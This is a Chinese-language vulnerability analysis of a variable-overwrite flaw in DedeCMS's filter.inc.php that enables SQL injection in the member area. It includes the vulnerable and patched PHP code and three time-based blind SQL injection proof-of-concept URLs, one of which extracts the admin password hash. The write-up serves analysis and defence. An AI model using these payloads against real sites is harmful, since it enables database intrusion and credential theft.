catalog
1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考
1. 漏洞描述
filter.inc.php这个文件在系统配置文件之后,里面有foreach循环创建变量,所以可以覆盖系统变量
1. 在magic_quotes_gpc=off的时候可以绕过_RunMagicQuotes的过滤 xxx.php?site=LittleHann’s blog 2. 经过common.inc.php $LittleHann = LittleHann’s blog 3. 经过filter.inc.php $LittleHann = LittleHann’s blog //重新获得闭合攻击性
2. 漏洞触发条件
1. 程序不允许创建cfg_开头的变量,依靠这样来防御系统变量未初始化漏洞 2. common.inc.php文件的漏洞我们创建了系统变量就可以触发此类漏洞,但是有的系统变量已经初始化了,而且是在common.inc.php文件foreach循环注册变量之后,就是说我们能创建,但是没法覆盖 3. 但是filter.inc.php这个文件又进行了一次foreach循环也就是二次创建。所以如果包含了filter.inc.php文件我们就可以覆盖系统变量 4. 在/member目录的大部分文件都包含这么一个文件/member/config.php,这个文件的前两句就是 require_once(dirname(__FILE__).’/../include/common.inc.php’); require_once(DEDEINC.’/filter.inc.php’); //就是说/member目录的大部分文件都受此漏洞影响可以覆盖系统变量
0x1: POC1
http://127.0.0.1/dedecms5.5/member/ajax_membergroup.php?action=desshow&mid=1&action=despost&mdescription=asd' where id=@`'` or(select if(substring((select pwd from dede_admin),1,1)='f',sleep(5),0)) -- - @`'`
0x2: POC2
http://127.0.0.1/dede/member/ajax_membergroup.php?action=desshow&mid=1&action=despost&mdescription=asd' where id=@`'` or(select if(substring((select 1),1,1)='1',sleep(5),0)) -- - @`'`
0x3: POC3
http://127.0.0.1/dede/member/ajax_membergroup.php?action=desshow&mid=1&action=despost&mdescription=asd' where id=@`'` or(select if(substring((select user()),1,1)='r',sleep(5),0)) -- - @`'`
Relevant Link:
http://www.0x50sec.org/0day-exp/2011/08/id/1139/ http://www.wooyun.org/bugs/wooyun-2013-043674
3. 漏洞影响范围
4. 漏洞代码分析
/include/filter.inc.php
function _FilterAll($fk,&$svar) { global $cfg_notallowstr,$cfg_replacestr; if( is_array($svar) ) { foreach($svar as $_k => $_v) { $svar[$_k] = _FilterAll($fk,$_v); } } else { if($cfg_notallowstr!='' && eregi($cfg_notallowstr,$svar)) { ShowMsg(" $fk has not allow words!",'-1'); exit(); } if($cfg_replacestr!='') { $svar = eregi_replace($cfg_replacestr,"***",$svar); } } //未对外部提交的数据进行有效转义,重新造成本地变量注入 return $svar; } foreach(Array('_GET','_POST','_COOKIE') as $_request) { foreach($$_request as $_k => $_v) { ${$_k} = _FilterAll($_k,$_v); } }
Relevant Link:
http://zone.wooyun.org/content/1883 http://www.jybase.net/wangzhananquan/20120412823_8.html
5. 防御方法
/include/filter.inc.php
function _FilterAll($fk, &$svar) { global $cfg_notallowstr,$cfg_replacestr; if( is_array($svar) ) { foreach($svar as $_k => $_v) { $svar[$_k] = _FilterAll($fk,$_v); } } else { if($cfg_notallowstr!='' && preg_match("#".$cfg_notallowstr."#i", $svar)) { ShowMsg(" $fk has not allow words!",'-1'); exit(); } if($cfg_replacestr!='') { $svar = preg_replace('/'.$cfg_replacestr.'/i', "***", $svar); } } /* 进行有效转义 */ /**/ return addslashes($svar); } /* 对_GET,_POST,_COOKIE进行过滤 */ foreach(Array('_GET','_POST','_COOKIE') as $_request) { foreach($$_request as $_k => $_v) { ${$_k} = _FilterAll($_k,$_v); } }
6. 攻防思考
Copyright (c) 2015 LittleHann All rights reserved